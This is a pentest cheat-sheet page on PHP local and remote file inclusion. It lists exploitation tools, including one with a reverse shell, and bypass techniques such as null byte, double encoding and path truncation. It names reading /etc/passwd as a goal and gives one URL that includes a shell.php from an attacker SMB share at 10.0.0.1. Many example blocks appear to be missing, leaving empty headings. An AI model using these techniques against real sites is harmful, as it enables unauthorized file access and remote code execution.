File Inclusion
A File Inclusion Vulnerability refers to a type of security vulnerability in web applications, particularly prevalent in applications developed in PHP, where an attacker can include a file, usually exploiting a lack of proper input/output sanitization. This vulnerability can lead to a range of malicious activities, including code execution, data theft, and website defacement.
Summary
Tools
P0cL4bs/Kadimus (archived on Oct 7, 2020) - kadimus is a tool to check and exploit lfi vulnerability.
D35m0nd142/LFISuite - Totally Automatic LFI Exploiter (+ Reverse Shell) and Scanner
kurobeats/fimap - fimap is a little python tool which can find, prepare, audit, exploit and even google automatically for local and remote file inclusion bugs in webapps.
lightos/Panoptic - Panoptic is an open source penetration testing tool that automates the process of search and retrieval of content for common log and config files through path traversal vulnerabilities.
hansmach1ne/LFImap - Local File Inclusion discovery and exploitation tool
Local File Inclusion
File Inclusion Vulnerability should be differentiated from Path Traversal. The Path Traversal vulnerability allows an attacker to access a file, usually exploiting a "reading" mechanism implemented in the target application, when the File Inclusion will lead to the execution of arbitrary code.
Consider a PHP script that includes a file based on user input. If proper sanitization is not in place, an attacker could manipulate the page parameter to include local or remote files, leading to unauthorized access or code execution.
In the following examples we include the /etc/passwd file, check the Directory & Path Traversal chapter for more interesting files.
Null Byte
⚠️ In versions of PHP below 5.3.4 we can terminate with null byte (%00).
Example: Joomla! Component Web TV 1.0 - CVE-2010-1470
Double Encoding
UTF-8 Encoding
Path Truncation
On most PHP installations a filename longer than 4096 bytes will be cut off so any excess chars will be thrown away.
Filter Bypass
Remote File Inclusion
Remote File Inclusion (RFI) is a type of vulnerability that occurs when an application includes a remote file, usually through user input, without properly validating or sanitizing the input.
Remote File Inclusion doesn't work anymore on a default configuration since allow_url_include is now disabled since PHP 5.
Most of the filter bypasses from LFI section can be reused for RFI.
Null Byte
Double Encoding
Bypass allow_url_include
When allow_url_include and allow_url_fopen are set to Off. It is still possible to include a remote file on Windows box using the smb protocol.
Create a share open to everyone
Write a PHP code inside a file :
shell.phpInclude it
http://example.com/index.php?page=\\10.0.0.1\share\shell.php
Labs
References
Last updated